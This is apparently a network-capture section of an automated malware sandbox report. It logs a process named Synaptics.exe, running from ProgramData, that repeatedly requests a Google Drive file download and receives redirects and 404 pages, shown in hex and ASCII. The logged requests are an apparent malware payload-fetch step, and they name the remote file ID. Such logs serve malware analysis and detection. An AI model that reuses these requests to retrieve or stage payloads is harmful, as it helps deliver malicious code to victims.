/_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:35:58 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:35:58 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 39 63 36 4a 4a 33 4a 56 2d 6f 77 59 4b 32 31 32 6a 77 43 6e 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="N9c6JJ3JV-owYK212jwCnw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:35:58 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49757	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:58 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
2024-12-30 10:35:58 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6SlA2lyzGQMKbOPiXdY9eW7qpoQERr3DyZzAzAg7JDObw09FS1FbuyzIDBCw4QvbtRVwIp1lg Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:35:58 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-NSbjd6pOiKL5mYOq3LMq0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:35:58 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:35:58 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 42 2d 53 53 73 5a 76 48 66 6d 4a 39 59 72 4f 77 4e 39 5f 51 5a 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="B-SSsZvHfmJ9YrOwN9_QZQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:35:58 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49762	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:59 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49763	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:59 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49767	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:59 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:36:00 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:35:59 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-BR7Bei7MLtEI0loKPFcGeQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49766	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:59 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:36:00 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:35:59 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-SqKNftaYEdHjAoo_MosbcA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49774	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:00 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:36:01 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:00 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce--ye_eze5qp74BkTFuswhyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49771	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:00 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:01 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7nkfrw4zWMcA96Tm2wzc5eGnCtNu3sZ16X4Bd1ZXt9Gl4jIokiEUhGHFsdcrp95CJyfk2zrwQ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:00 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-wIJHgNbWZcjf-u2dXguz-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:01 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:01 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 69 31 5f 38 32 46 4c 50 77 48 32 73 5f 6e 68 33 62 75 50 6c 43 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="i1_82FLPwH2s_nh3buPlCQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:01 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49772	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:00 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:36:01 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:00 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-UMhLl2EyMKRE1Y0kugbWYA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49773	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:00 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:01 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6AF2rbA8qRyXniCRcfQxq8LortFxpl5AlxvpxaR9J4fezOD7GC1KRpem5RxEwDlQV6 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:01 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-iyuykCa006bVWdFpk8ae4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:01 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:01 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 7a 37 62 2d 4a 70 71 76 68 69 4b 66 57 65 69 69 56 43 6e 42 31 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="z7b-JpqvhiKfWeiiVCnB1Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:01 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49776	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:01 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:36:02 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:01 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-E9PcykpmpvyCSnUU0w_XzA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

